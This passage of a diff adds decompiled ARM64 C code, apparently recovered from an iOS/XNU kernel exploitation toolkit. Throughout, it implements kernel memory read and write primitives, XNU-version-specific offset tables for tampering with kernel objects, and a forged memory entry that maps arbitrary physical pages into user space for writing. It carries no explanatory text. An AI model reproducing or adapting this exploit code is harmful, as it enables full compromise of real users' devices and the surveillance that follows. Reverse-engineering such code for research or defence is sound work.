vm_allocate(mach_task_self_, &address, (unsigned int)size, 1) ) + { +LABEL_3: + sub_36E4C(a1, v4, v5); + return 0; + } + if ( !(unsigned int)kwritebuf_last_1(a1, v4, address, v5) ) + { + vm_deallocate(mach_task_self_, address, v5); + goto LABEL_3; + } + if ( (_DWORD)v5 != *a2 ) + *a2 = v5; + vm_deallocate(mach_task_self_, address, v5); + } + return v4; +} + +//----- (0000000000037A50) ---------------------------------------------------- +__int64 __fastcall sub_37A50(struct_krwCtx *a1, unsigned int a2, int a3, int a4, __int16 a5) +{ + __int64 v9; // x19 + unsigned __int64 v10; // x0 + unsigned __int64 v11; // x21 + mach_vm_address_t v12; // x23 + unsigned __int64 v13; // x22 + unsigned __int64 v14; // x23 + __int64 v15; // x21 + unsigned int v17; // [xsp+0h] [xbp-60h] BYREF + unsigned int v18; // [xsp+4h] [xbp-5Ch] BYREF + unsigned int v19; // [xsp+8h] [xbp-58h] BYREF + unsigned int v20; // [xsp+Ch] [xbp-54h] BYREF + unsigned int v21; // [xsp+10h] [xbp-50h] BYREF + unsigned int v22; // [xsp+14h] [xbp-4Ch] BYREF + __int64 v23; // [xsp+18h] [xbp-48h] BYREF + __int64 v24; // [xsp+20h] [xbp-40h] BYREF + __int16 v25; // [xsp+2Eh] [xbp-32h] BYREF + + v25 = a5; + v23 = 0; + v24 = 0; + if ( (a1->flags & 0x5584201) == 0 ) + return 708616; + v9 = sub_37C50((int *)a1, (int *)&v22, (int *)&v21, (int *)&v20, (int *)&v19); + if ( !(_DWORD)v9 ) + { + v9 = sub_37F58((__int64)a1, a3, &v24); + if ( !(_DWORD)v9 ) + { + v9 = 163855; + v10 = port_name_to_kaddr(a1, a2); + if ( !v10 ) + return 163854; + v11 = v10; + v12 = v10 + v22; + if ( kread64_outptr(a1, v12, (unsigned __int64 *)&v23) ) + { + if ( v23 && !validate_addr((__int64)a1, v23) ) + return 163878; + if ( !kwrite64((__int64)a1, v12, v24) ) + return 163856; + if ( a4 ) + { + v13 = v11 + v21; + if ( !kread32_outptr((__int64)a1, v13, &v18) ) + return v9; + if ( v18 > 3 ) + return 163857; + v14 = v11 + v20; + if ( !kread32_outptr((__int64)a1, v14, &v17) ) + return v9; + if ( v17 > 0xB71B00 ) + return 163857; + if ( !noppl_kwrite32((__int64)a1, v13, 1) || !noppl_kwrite32((__int64)a1, v14, 12000000) ) + return 163856; + } + v15 = v11 + v19; + if ( (unsigned int)kreadbuf_last_1(a1, v15, 2, &v18) ) + { + if ( (unsigned __int16)v18 > 0x7Fu ) + return 163857; + if ( (unsigned int)kwritebuf_last_1((__int64)a1, v15, (__int64)&v25, 2) ) + return 0; + else + return 163856; + } + } + } + } + return v9; +} + +//----- (0000000000037C50) ---------------------------------------------------- +__int64 __fastcall sub_37C50(int *a1, int *a2, int *a3, int *a4, int *a5) +{ + int v6; // w11 + __int64 result; // x0 + unsigned __int64 v8; // x10 + int v9; // w9 + int v10; // w8 + bool v11; // zf + int v12; // w9 + int v13; // w15 + int v14; // w16 + int v15; // w17 + bool v16; // cf + int v17; // w8 + int v18; // w9 + int v19; // w10 + int v20; // w11 + int v21; // w8 + int v22; // w11 + int v23; // w12 + int v24; // w13 + int v25; // w14 + bool v26; // cc + int v27; // w10 + int v28; // w16 + bool v29; // zf + int v30; // w8 + bool v31; // cc + int v32; // w12 + int v33; // w11 + + v6 = 89669633; + result = 708616LL; + v8 = *((_QWORD *)a1 + 43); + v9 = *a1; + if ( v8 >> 43 >= 0x44B ) + v6 = 89670145; + if ( (v9 & v6) == 0 ) + return result; + result = 163884LL; + v10 = a1[80]; + if ( v10 <= 8791 ) + { + if ( (unsigned int)(v10 - 8019) >= 2 ) + { + if ( v10 != 6153 ) + { + if ( v10 != 7195 ) + return result; + v11 = (v9 & 0x84000) == 0; + if ( (v9 & 0x84000) != 0 ) + v12 = 648; + else + v12 = 640; + if ( v11 ) + v13 = 364; + else + v13 = 372; + if ( v11 ) + v14 = 556; + else + v14 = 564; + if ( v11 ) + v15 = 388; + else + v15 = 396; + v16 = v8 >= 0x1C1B1914600000LL; + if ( v8 >= 0x1C1B1914600000LL ) + v17 = v12; + else + v17 = 448; + if ( v8 >= 0x1C1B1914600000LL ) + v18 = v13; + else + v18 = 172; + if ( v8 >= 0x1C1B1914600000LL ) + v19 = v14; + else + v19 = 364; + if ( v16 ) + v20 = v15; + else + v20 = 196; + goto LABEL_111; + } + v31 = v8 > 0x18090A095FFFFFLL; + if ( v8 <= 0x18090A095FFFFFLL ) + v17 = 424; + else + v17 = 416; + if ( v8 <= 0x18090A095FFFFFLL ) + v18 = 172; + else + v18 = 164; + if ( v8 <= 0x18090A095FFFFFLL ) + v19 = 340; + else + v19 = 332; + v20 = 196; + v32 = 188; + goto LABEL_93; + } + if ( (v9 & 0x100000) != 0 ) + { + v31 = v8 > 0x1F530F027FFFFFLL; + if ( v8 <= 0x1F530F027FFFFFLL ) + v18 = 384; + else + v18 = 380; + if ( v8 <= 0x1F530F027FFFFFLL ) + v17 = 656; + else + v17 = 544; + if ( v8 <= 0x1F530F027FFFFFLL ) + v19 = 560; + else + v19 = 452; + v20 = 400; + v32 = 404; +LABEL_93: + if ( v31 ) + v20 = v32; + goto LABEL_111; + } + if ( v8 <= 0x1F530F027FFFFFLL ) + v23 = 368; + else + v23 = 364; + if ( v8 <= 0x1F530F027FFFFFLL ) + v24 = 640; + else + v24 = 528; + if ( v8 <= 0x1F530F027FFFFFLL ) + v25 = 548; + else + v25 = 436; + v26 = v8 > 0x1F530F027FFFFFLL; + if ( v8 <= 0x1F530F027FFFFFLL ) + v27 = 376; + else + v27 = 372; + if ( v26 ) + v17 = 536; + else + v17 = 648; + if ( v26 ) + v28 = 444; + else + v28 = 556; + v29 = (v9 & 0x84000) == 0; + if ( (v9 & 0x84000) != 0 ) + { + v18 = v27; + } + else + { + v17 = v24; + v18 = v23; + } + if ( v29 ) + v19 = v25; + else + v19 = v28; + if ( v29 ) + v20 = 388; + else + v20 = 396; +LABEL_111: + result = 0LL; + *a2 = v17; + *a3 = v18; + *a4 = v19; + *a5 = v20; + return result; + } + if ( v10 == 8792 || v10 == 8796 ) + { + v30 = v9 & 0x518E241; + if ( (v9 & 0x518E241u) >= 0x80000 ) + { + if ( v30 != 0x80000 ) + { + if ( v30 != 0x100000 && v30 != 0x1000000 ) + return result; + v33 = 40; +LABEL_107: + v17 = v33 + 488; + v18 = v33 + 340; + v19 = v33 + 412; + v20 = v33 + 364; + goto LABEL_111; + } + } + else + { + if ( v30 == 1 ) + { + v33 = 16; + goto LABEL_107; + } + if ( v30 == 512 ) + { + v33 = 0; + goto LABEL_107; + } + if ( v30 != 0x4000 ) + return result; + } + v33 = 32; + goto LABEL_107; + } + if ( v10 != 10002 ) + return result; + v21 = v9 & 0x518E241; + if ( (v9 & 0x518E241u) >= 0x100000 ) + { + if ( v21 == 0x100000 || v21 == 0x1000000 ) + { + v22 = 24; + } + else + { + if ( v21 != 0x4000000 ) + return result; + v22 = 104; + } + goto LABEL_110; + } + if ( v21 == 1 ) + { + v22 = 0; + goto LABEL_110; + } + if ( v21 == 0x4000 || v21 == 0x80000 ) + { + v22 = 16; +LABEL_110: + v17 = v22 | 0x200; + v18 = v22 + 356; + v19 = v22 + 436; + v20 = v22 + 380; + goto LABEL_111; + } + return result; +} + +//----- (0000000000037F58) ---------------------------------------------------- +__int64 __fastcall sub_37F58(__int64 a1, int a2, _QWORD *a3) +{ + __int64 result; // x0 + __int64 v7; // x8 + unsigned int v8; // [xsp+Ch] [xbp-54h] BYREF + _OWORD v9[2]; // [xsp+10h] [xbp-50h] BYREF + + memset(v9, 0, sizeof(v9)); + v8 = 4; + if ( !*(_QWORD *)(a1 + 584) || !*(_QWORD *)(a1 + 592) ) + { + result = sub_35004(a1, 2, (__int64)v9, &v8); + if ( (_DWORD)result ) + return result; + if ( v8 < 2 ) + return 163857; + *(_OWORD *)(a1 + 584) = v9[0]; + } + result = 0; + v7 = 592; + if ( a2 ) + v7 = 584; + *a3 = *(_QWORD *)(a1 + v7); + return result; +} + +//----- (0000000000038034) ---------------------------------------------------- +__int64 __fastcall sub_38034(int *a1, __int64 a2, int a3, int a4, __int16 a5) +{ + __int64 v10; // x21 + __int64 v11; // x24 + __int64 v12; // x1 + __int64 v13; // x10 + unsigned int v15; // [xsp+8h] [xbp-48h] BYREF + unsigned int v16; // [xsp+Ch] [xbp-44h] BYREF + unsigned int v17; // [xsp+10h] [xbp-40h] BYREF + unsigned int v18; // [xsp+14h] [xbp-3Ch] BYREF + __int64 v19; // [xsp+18h] [xbp-38h] BYREF + + v19 = 0; + if ( (*a1 & 0x5584201) == 0 ) + return 708616; + v10 = sub_37C50(a1, (int *)&v18, (int *)&v17, (int *)&v16, (int *)&v15); + if ( !(_DWORD)v10 ) + { + v10 = sub_37F58((__int64)a1, a3, &v19); + if ( !(_DWORD)v10 ) + { + v10 = 163857; + v11 = v18; + v12 = *(_QWORD *)(a2 + v18); + if ( v12 && !validate_addr((__int64)a1, v12) ) + return 163878; + *(_QWORD *)(a2 + v11) = v19; + if ( a4 ) + { + if ( *(_DWORD *)(a2 + v17) > 3u ) + return v10; + v13 = v16; + if ( *(_DWORD *)(a2 + v16) > 0xB71B00u ) + return v10; + *(_DWORD *)(a2 + v17) = 1; + *(_DWORD *)(a2 + v13) = 12000000; + } + if ( *(unsigned __int16 *)(a2 + v15) <= 0x7Fu ) + { + v10 = 0; + *(_WORD *)(a2 + v15) = a5; + } + } + } + return v10; +} + +//----- (0000000000038158) ---------------------------------------------------- +__int64 __fastcall sub_38158(struct_krwCtx *a1, __int64 a2, int a3, int a4, __int16 a5) +{ + __int64 v9; // x23 + vm_size_t v10; // x20 + kern_return_t v11; // w0 + __int64 v13; // x0 + vm_address_t v14; // x25 + __int64 v15; // x23 + __int64 v16; // x1 + __int64 v17; // x0 + __int64 v18; // x22 + __int64 v19; // x0 + __int64 v20; // x0 + __int64 v21; // x0 + int v22; // [xsp+0h] [xbp-70h] BYREF + int v23; // [xsp+4h] [xbp-6Ch] BYREF + unsigned int v24; // [xsp+8h] [xbp-68h] BYREF + unsigned int v25; // [xsp+Ch] [xbp-64h] BYREF + unsigned int v26; // [xsp+10h] [xbp-60h] BYREF + unsigned int v27; // [xsp+14h] [xbp-5Ch] BYREF + vm_address_t address; // [xsp+18h] [xbp-58h] BYREF + __int64 v29; // [xsp+20h] [xbp-50h] BYREF + __int16 v30; // [xsp+2Eh] [xbp-42h] BYREF + + v30 = a5; + address = 0; + v29 = 0; + if ( (a1->flags & 0x5584201) == 0 ) + return 708616; + v9 = sub_37C50((int *)a1, (int *)&v27, (int *)&v26, (int *)&v25, (int *)&v24); + if ( !(_DWORD)v9 ) + { + v9 = sub_37F58((__int64)a1, a3, &v29); + if ( !(_DWORD)v9 ) + { + v10 = (unsigned int)a1->pageSizeOrSomething; + v11 = vm_allocate(mach_task_self_, &address, v10, 1); + if ( v11 ) + { + v9 = v11 | 0x80000000; + } + else + { + sub_38D60((__int64)a1, a2 & ~a1->qword188, (void *)address, v10, 1); + v9 = v13; + if ( !(_DWORD)v13 ) + { + v14 = (a1->qword188 & a2) + address; + v15 = v27; + v16 = *(_QWORD *)(v14 + v27); + if ( v16 && !validate_addr((__int64)a1, v16) ) + { + v9 = 163878; + } + else + { + physwritebuf_idk_maybe(a1, v15 + a2, &v29, a1->int168, 1); + v9 = v17; + if ( !(_DWORD)v17 ) + { + v9 = 163857; + if ( !a4 + || *(_DWORD *)(v14 + v26) <= 3u + && (v18 = v25, *(_DWORD *)(v14 + v25) <= 0xB71B00u) + && (v23 = 1, physwritebuf_idk_maybe(a1, v26 + a2, &v23, 4u, 1), v9 = v19, !(_DWORD)v19) + && (v22 = 12000000, physwritebuf_idk_maybe(a1, v18 + a2, &v22, 4u, 1), v9 = v20, !(_DWORD)v20) ) + { + v9 = 163857; + if ( *(unsigned __int16 *)(v14 + v24) <= 0x7Fu ) + { + physwritebuf_idk_maybe(a1, v24 + a2, &v30, 2u, 1); + v9 = v21; + } + } + } + } + } + } + if ( address && (_DWORD)v10 ) + vm_deallocate(mach_task_self_, address, v10); + } + } + return v9; +} +// 38248: variable 'v13' is possibly undefined +// 38290: variable 'v17' is possibly undefined +// 382EC: variable 'v19' is possibly undefined +// 38310: variable 'v20' is possibly undefined +// 38348: variable 'v21' is possibly undefined + +//----- (0000000000038378) ---------------------------------------------------- +unsigned __int64 __fastcall sub_38378(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4) +{ + __int64 v8; // x8 + _QWORD *i; // x9 + unsigned __int64 v10; // x10 + + if ( *(int *)(a1 + 320) < 6153 ) + return a2 - a3 + a4; + if ( !*(_QWORD *)(a1 + 6680) && (unsigned int)sub_38428(a1) ) + return 0; + v8 = *(unsigned int *)(a1 + 6304); + if ( !(_DWORD)v8 ) + return a2 - a3 + a4; + for ( i = (_QWORD *)(a1 + 6680); ; i += 3 ) + { + v10 = *(i - 2); + if ( v10 <= a4 && *i + v10 > a4 ) + break; + if ( !--v8 ) + return a2 - a3 + a4; + } + return a4 - v10 + *(i - 1); +} + +//----- (0000000000038428) ---------------------------------------------------- +__int64 __fastcall sub_38428(__int64 a1) +{ + unsigned __int64 v2; // x20 + unsigned __int64 v3; // x0 + int v4; // w8 + bool v5; // zf + __int64 v7; // x21 + unsigned __int64 v8; // x22 + __int64 v9; // x9 + __int64 v10; // x10 + _QWORD *v11; // x11 + __int64 v12; // [xsp+0h] [xbp-40h] BYREF + __int64 v13; // [xsp+8h] [xbp-38h] + __int64 v14; // [xsp+10h] [xbp-30h] + + v2 = *(_QWORD *)(a1 + 6296); + if ( v2 ) + { + if ( !*(_DWORD *)(a1 + 6304) ) + return 0; + } + else + { + LODWORD(v12) = 0; + v3 = sub_1E85C(*(__int64 **)(a1 + 6648), (int *)&v12); + v4 = v12; + if ( v3 ) + v5 = (_DWORD)v12 == 0; + else + v5 = 1; + if ( v5 ) + return 708625; + v2 = v3; + *(_QWORD *)(a1 + 6296) = v3; + *(_DWORD *)(a1 + 6304) = v4; + } + v7 = 0; + v8 = 0; + while ( 1 ) + { + v12 = 0; + v13 = 0; + v14 = 0; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v2 + v7, 24, &v12) ) + break; + v9 = v13; + v10 = v14; + if ( (*(_DWORD *)a1 & 0x20) != 0 ) + v10 = v14 << 14; + v11 = (_QWORD *)(a1 + v7); + v11[833] = v12; + v11[834] = v9; + v11[835] = v10; + ++v8; + v7 += 24; + if ( v8 >= *(unsigned int *)(a1 + 6304) ) + return 0; + } + return 163855; +} + +//----- (0000000000038544) ---------------------------------------------------- +unsigned __int64 __fastcall sub_38544(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4) +{ + __int64 v8; // x8 + _QWORD *i; // x9 + unsigned __int64 v10; // x10 + + if ( *(int *)(a1 + 320) < 6153 ) + return a3 - a2 + a4; + if ( !*(_QWORD *)(a1 + 6680) && (unsigned int)sub_38428(a1) ) + return 0; + v8 = *(unsigned int *)(a1 + 6304); + if ( !(_DWORD)v8 ) + return a3 - a2 + a4; + for ( i = (_QWORD *)(a1 + 6680); ; i += 3 ) + { + v10 = *(i - 1); + if ( v10 <= a4 && *i + v10 > a4 ) + break; + if ( !--v8 ) + return a3 - a2 + a4; + } + return a4 - v10 + *(i - 2); +} + +//----- (00000000000385F4) ---------------------------------------------------- +__int64 __fastcall sub_385F4(struct_krwCtx *a1, unsigned __int64 a2) +{ + __int64 v4; // x1 + __int64 v5; // x2 + __int64 result; // x0 + __int64 v7; // x21 + __int64 v8; // [xsp+0h] [xbp-30h] BYREF + uint64_t v9; // [xsp+8h] [xbp-28h] BYREF + + v8 = 0; + v9 = 0; + v4 = a1->gap191[679]; + if ( v4 ) + { + v5 = a1->gap191[680]; + v8 = v5; + v9 = v4; + return sub_38544((__int64)a1, v4, v5, a2); + } + result = sub_32D24((__int64)a1); + if ( result ) + { + result = sub_3492C(a1, result); + if ( result ) + { + v7 = result; + if ( !kread64_outptr(a1, result, &v9) || !kread64_outptr(a1, v7 + a1->int168, (unsigned __int64 *)&v8) ) + return 0; + v5 = v8; + v4 = v9; + a1->gap191[679] = v9; + a1->gap191[680] = v5; + return sub_38544((__int64)a1, v4, v5, a2); + } + } + return result; +} + +//----- (00000000000386AC) ---------------------------------------------------- +__int64 __fastcall sub_386AC(struct_krwCtx *a1, unsigned __int64 a2) +{ + __int64 v4; // x1 + __int64 v5; // x2 + __int64 result; // x0 + __int64 v7; // x21 + __int64 v8; // [xsp+0h] [xbp-30h] BYREF + uint64_t v9; // [xsp+8h] [xbp-28h] BYREF + + v8 = 0; + v9 = 0; + v4 = a1->gap191[679]; + if ( v4 ) + { + v5 = a1->gap191[680]; + v8 = v5; + v9 = v4; + return sub_38378((__int64)a1, v4, v5, a2); + } + result = sub_32D24((__int64)a1); + if ( result ) + { + result = sub_3492C(a1, result); + if ( result ) + { + v7 = result; + if ( !kread64_outptr(a1, result, &v9) || !kread64_outptr(a1, v7 + a1->int168, (unsigned __int64 *)&v8) ) + return 0; + v5 = v8; + v4 = v9; + a1->gap191[679] = v9; + a1->gap191[680] = v5; + return sub_38378((__int64)a1, v4, v5, a2); + } + } + return result; +} + +//----- (0000000000038764) ---------------------------------------------------- +__int64 __fastcall sub_38764(__int64 a1) +{ + pthread_mutex_t *v2; // x20 + int v3; // w0 + int v4; // w8 + __int64 result; // x0 + unsigned __int64 i; // x8 + __int64 v7; // x20 + __int64 v8; // x1 + __int64 v9; // x2 + _OWORD v10[8]; // [xsp+0h] [xbp-B0h] BYREF + + memset(v10, 0, sizeof(v10)); + v2 = (pthread_mutex_t *)(a1 + 616); + v3 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 616)); + if ( v3 ) + { + if ( v3 >= 0 ) + v4 = v3; + else + v4 = -v3; + return v4 | 0x40000000u; + } + else + { + for ( i = 0; i != 128; i += 16LL ) + { + if ( *(_QWORD *)(a1 + i + 688) && *(_DWORD *)(a1 + i + 696) ) + { + v10[i / 0x10] = *(_OWORD *)(a1 + i + 688); + *(_OWORD *)(a1 + i + 688) = 0u; + } + } + pthread_mutex_unlock(v2); + v7 = 0; + while ( 1 ) + { + v8 = *(_QWORD *)&v10[v7]; + if ( v8 ) + { + v9 = DWORD2(v10[v7]); + if ( (_DWORD)v9 ) + { + result = sub_36E4C(a1, v8, v9); + if ( (_DWORD)result ) + break; + } + } + if ( ++v7 == 8 ) + return 0; + } + } + return result; +} + +//----- (0000000000038870) ---------------------------------------------------- +__int64 __fastcall sub_38870(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 a3) +{ + vm_size_t pageSize; // x27 + int xnuMajorVersion; // w8 + __int64 v8; // x21 + kern_return_t memory_entry; // w0 + __int64 v12; // x22 + unsigned __int64 v13; // x0 + __int64 v14; // x0 + __int64 v15; // x24 + __int64 someInt1; // x8 + uint32_t *v18; // x9 + _QWORD *v19; // x9 + __int64 v20; // t1 + char *v21; // x11 + unsigned __int64 v22; // x0 + vm_address_t v23; // x1 + int v24; // [xsp+14h] [xbp-BCh] BYREF + mem_entry_name_port_t object_handle[2]; // [xsp+18h] [xbp-B8h] BYREF + vm_size_t size; // [xsp+20h] [xbp-B0h] BYREF + vm_address_t address; // [xsp+28h] [xbp-A8h] BYREF + __int128 v28; // [xsp+30h] [xbp-A0h] BYREF + __int128 v29; // [xsp+40h] [xbp-90h] + __int32 v30[4]; // [xsp+50h] [xbp-80h] + __int32 v31[6]; // [xsp+60h] [xbp-70h] + + *(_QWORD *)(a3 + 48) = 0; + *(_OWORD *)(a3 + 16) = 0u; + *(_OWORD *)(a3 + 32) = 0u; + *(_OWORD *)a3 = 0u; + address = 0; + pageSize = vm_page_size; + *(_QWORD *)object_handle = 0; + xnuMajorVersion = krwCtx->xnuMajorVersion; + v8 = 0x2802C; + if ( xnuMajorVersion > 8791 ) + { + if ( xnuMajorVersion != 8792 && xnuMajorVersion != 10002 && xnuMajorVersion != 8796 ) + return v8; + } + else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 6153 && xnuMajorVersion != 7195 ) + { + return v8; + } + v28 = 0u; + v29 = 0u; + *(_OWORD *)v30 = 0u; + *(_OWORD *)v31 = 0u; + size = vm_page_size; + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 0x20003, &object_handle[1], 0); + if ( memory_entry ) + { + v12 = 0; +LABEL_15: + v8 = memory_entry | 0x80000000; + goto LABEL_20; + } + v13 = port_name_to_kaddr(krwCtx, object_handle[1]); + v8 = 0x28026; + if ( !v13 + || (v14 = sub_33A88(krwCtx, v13, 0)) == 0 + || (v15 = v14, v8 = 0xAD009, object_handle[0] = 64, pthread_mutex_lock(&krwCtx->someMutex)) ) + { + v12 = 0; + goto LABEL_20; + } + someInt1 = krwCtx->someInt1; + v18 = &krwCtx->someInt1 + 4 * someInt1; + v20 = *((_QWORD *)v18 + 1); + v19 = v18 + 2; + v12 = v20; + if ( v20 && (v21 = (char *)krwCtx + 0x10 * someInt1, *((_DWORD *)v21 + 174)) ) + { + object_handle[0] = *((_DWORD *)v21 + 174); + *v19 = 0; + *((_DWORD *)v21 + 174) = 0; + if ( (_DWORD)someInt1 ) + krwCtx->someInt1 = someInt1 - 1; + pthread_mutex_unlock(&krwCtx->someMutex); + } + else + { + pthread_mutex_unlock(&krwCtx->someMutex); + v12 = sub_37210((__int64)krwCtx, object_handle); + if ( !v12 ) + goto LABEL_20; + } + v22 = sub_35A50(krwCtx, 0, &v24); + if ( v22 ) + { + v30[0] = (v15 - v22) >> v24; + v30[1] = 0x2000000; + *((_QWORD *)&v29 + 1) = 0; + v30[3] = 320; + v31[0] = paddr / pageSize; + if ( (unsigned int)kwritebuf_last_1((__int64)krwCtx, v12, (__int64)&v28, 64) ) + { + memory_entry = vm_map(mach_task_self_, &address, size, 0, 1, object_handle[1], 0, 0, 3, 3, 1u); + if ( memory_entry ) + goto LABEL_15; + v23 = address; + *(_DWORD *)address = 0; + memory_entry = vm_protect(mach_task_self_, v23, size, 0, 0); + if ( memory_entry ) + goto LABEL_15; + memory_entry = vm_protect(mach_task_self_, address, size, 0, 3); + if ( memory_entry ) + goto LABEL_15; + if ( sub_288A4((__int64)krwCtx, v15 + 32, v12) ) + { + v8 = 0; + *(_DWORD *)(a3 + 52) = object_handle[1]; + *(_QWORD *)a3 = address; + *(_QWORD *)(a3 + 8) = pageSize; + *(_QWORD *)(a3 + 16) = v12; + *(_DWORD *)(a3 + 24) = object_handle[0]; + *(_DWORD *)(a3 + 28) = 1; + return v8; + } + } + v8 = 163856; + } + else + { + v8 = 708609; + } +LABEL_20: + if ( address && size ) + vm_deallocate(mach_task_self_, address, size); + if ( object_handle[1] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object_handle[1]); + if ( v12 && object_handle[0] ) + sub_38C8C((__int64)krwCtx, v12, object_handle[0]); + return v8; +} + +//----- (0000000000038BCC) ---------------------------------------------------- +double __fastcall sub_38BCC(__int64 a1, __int64 a2) +{ + __int64 v4; // x8 + double result; // d0 + + v4 = *(_QWORD *)(a2 + 16); + if ( v4 + && *(_QWORD *)a2 + && noppl_kwrite32(a1, v4 + *(unsigned int *)(a2 + 48), -1) + && !vm_deallocate(mach_task_self_, *(_QWORD *)a2, *(_QWORD *)(a2 + 8) * *(unsigned int *)(a2 + 28)) + && !mach_port_deallocate(mach_task_self_, *(_DWORD *)(a2 + 52)) ) + { + sub_38C8C(a1, *(_QWORD *)(a2 + 16), *(unsigned int *)(a2 + 24)); + } + *(_QWORD *)(a2 + 48) = 0; + result = 0.0; + *(_OWORD *)(a2 + 16) = 0u; + *(_OWORD *)(a2 + 32) = 0u; + *(_OWORD *)a2 = 0u; + return result; +} + +//----- (0000000000038C8C) ---------------------------------------------------- +__int64 __fastcall sub_38C8C(__int64 a1, __int64 a2, __int64 a3) +{ + pthread_mutex_t *v6; // x22 + int v7; // w0 + int v8; // w8 + __int64 v10; // x8 + __int64 *v11; // x9 + __int64 vars8; // [xsp+28h] [xbp+8h] + + v6 = (pthread_mutex_t *)(a1 + 616); + v7 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 616)); + if ( v7 ) + { + if ( v7 >= 0 ) + v8 = v7; + else + v8 = -v7; + return v8 | 0x40000000u; + } + v10 = *(unsigned int *)(a1 + 680); + if ( (unsigned int)v10 <= 7 ) + { + v11 = (__int64 *)(a1 + 16 * v10 + 688); + while ( *v11 ) + { + ++v10; + v11 += 2; + if ( v10 == 8 ) + goto LABEL_10; + } + *(_DWORD *)(a1 + 680) = v10; + *v11 = a2; + *(_DWORD *)(a1 + 680 + 16LL * (unsigned int)v10 + 16) = a3; + pthread_mutex_unlock(v6); + return 0; + } +LABEL_10: + pthread_mutex_unlock(v6); + if ( !a2 ) + return 0; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_36E4C(a1, a2, a3); +} +// 38D20: variable 'vars8' is possibly undefined + +//----- (0000000000038D60) ---------------------------------------------------- +void __fastcall sub_38D60(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5) +{ + void (*v9)(void); // x5 + _QWORD v10[7]; // [xsp+8h] [xbp-58h] BYREF + __int64 vars8; // [xsp+68h] [xbp+8h] + + v9 = *(void (**)(void))(a1 + 56); + if ( v9 ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + v9(); + } + else if ( a5 + && (*(_QWORD *)(a1 + 344) < 0x27120F04B00003uLL || (*(_BYTE *)a1 & 0x20) == 0) + && !(unsigned int)sub_38870((struct_krwCtx *)a1, a2, (__int64)v10) ) + { + memcpy(a3, (const void *)((*(_QWORD *)(a1 + 392) & a2) + v10[0]), a4); + sub_38BCC(a1, (__int64)v10); + } +} + +//----- (0000000000038E4C) ---------------------------------------------------- +void __fastcall physwritebuf_idk_maybe( + struct_krwCtx *krwCtx, + unsigned __int64 paddr, + const void *buf, + unsigned int size, + int something) +{ + void (*v9)(void); // x5 + _QWORD v10[7]; // [xsp+8h] [xbp-58h] BYREF + __int64 vars8; // [xsp+68h] [xbp+8h] + + v9 = *(void (**)(void))&krwCtx->gap4[68]; + if ( v9 ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + v9(); + } + else if ( something + && (krwCtx->someLargeNumber < 0x27120F04B00003LL || (krwCtx->flags & 0x20) == 0) + && !(unsigned int)sub_38870(krwCtx, paddr, (__int64)v10) ) + { + memcpy((void *)((krwCtx->qword188 & paddr) + v10[0]), buf, size); + sub_38BCC((__int64)krwCtx, (__int64)v10); + } +} + +//----- (0000000000038F38) ---------------------------------------------------- +__int64 __fastcall sub_38F38(__int64 a1, __int64 a2, __int64 a3) +{ + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, a2 + 8, 2, (void *)a3) ) + return 0; + else + return 163855; +} + +//----- (0000000000038F6C) ---------------------------------------------------- +__int64 __fastcall sub_38F6C(__int64 a1, __int64 a2, __int16 a3) +{ + __int16 v4; // [xsp+Eh] [xbp-2h] BYREF + + v4 = a3; + if ( (unsigned int)kwritebuf_last_1(a1, a2 + 8, (__int64)&v4, 2) ) + return 0; + else + return 163856; +} + +//----- (0000000000038FAC) ---------------------------------------------------- +__int64 __fastcall sub_38FAC(unsigned int a1) +{ + unsigned __int16 v1; // w8 + + v1 = a1 + 10; + if ( a1 > 0xFFF4 ) + v1 = -2; + if ( a1 > 0xFFFD ) + return (unsigned __int16)a1; + return v1; +} + +//----- (0000000000038FD4) ---------------------------------------------------- +__int64 __fastcall sub_38FD4(__int64 a1, __int64 a2) +{ + __int64 v4; // x19 + __int64 v5; // x21 + __int16 v6; // w8 + unsigned __int16 v8; // [xsp+Ch] [xbp-24h] BYREF + __int16 v9; // [xsp+Eh] [xbp-22h] BYREF + + v4 = 163855; + if ( !validate_addr(a1, a2) ) + return 163878; + v5 = a2 + 8; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v5, 2, &v8) ) + { + if ( v8 <= 0xFFFDu ) + { + if ( v8 <= 0xFFF4u ) + v6 = v8 + 10; + else + v6 = -2; + v8 = v6; + v9 = v6; + if ( (unsigned int)kwritebuf_last_1(a1, v5, (__int64)&v9, 2) ) + return 0; + else + return 163856; + } + else + { + return 0; + } + } + return v4; +} + +//----- (0000000000039090) ---------------------------------------------------- +uint64_t __fastcall sub_39090(struct_krwCtx *a1, __int64 a2) +{ + uint64_t v4; // x8 + uint64_t v5; // x21 + unsigned __int64 v6; // x1 + bool v7; // zf + uint64_t v8; // x8 + uint64_t result; // x0 + int v10; // w0 + __int64 v11; // x21 + __int64 v12; // x8 + bool v13; // zf + __int64 v14; // x8 + uint64_t v16; // x9 + _BYTE v17[32]; // [xsp+8h] [xbp-48h] BYREF + __int64 v18; // [xsp+28h] [xbp-28h] + + v4 = a1->gap191[681]; + v5 = a1->qword188; + v6 = a2 & ~v5; + if ( v4 ) + v7 = v4 == v6; + else + v7 = 0; + if ( v7 ) + { + v8 = a1->gap191[682]; + if ( v8 ) + return v8 + (v5 & a2); + } + sub_2183C((__int64)a1, v6, (__int64)v17); + if ( !v10 ) + return 0; + v11 = v5 & a2; + v12 = sub_386AC(a1, v18 & 0xFFFFFFFFC000LL); + result = 0; + v13 = v12 == 0; + if ( v12 ) + v14 = v12 + v11; + else + v14 = 0; + if ( !v13 && v14 != 0 ) + { + v16 = a1->qword188; + a1->gap191[681] = a2 & ~v16; + a1->gap191[682] = v14 & ~v16; + return v14; + } + return result; +} +// 390E8: variable 'v10' is possibly undefined + +//----- (0000000000039150) ---------------------------------------------------- 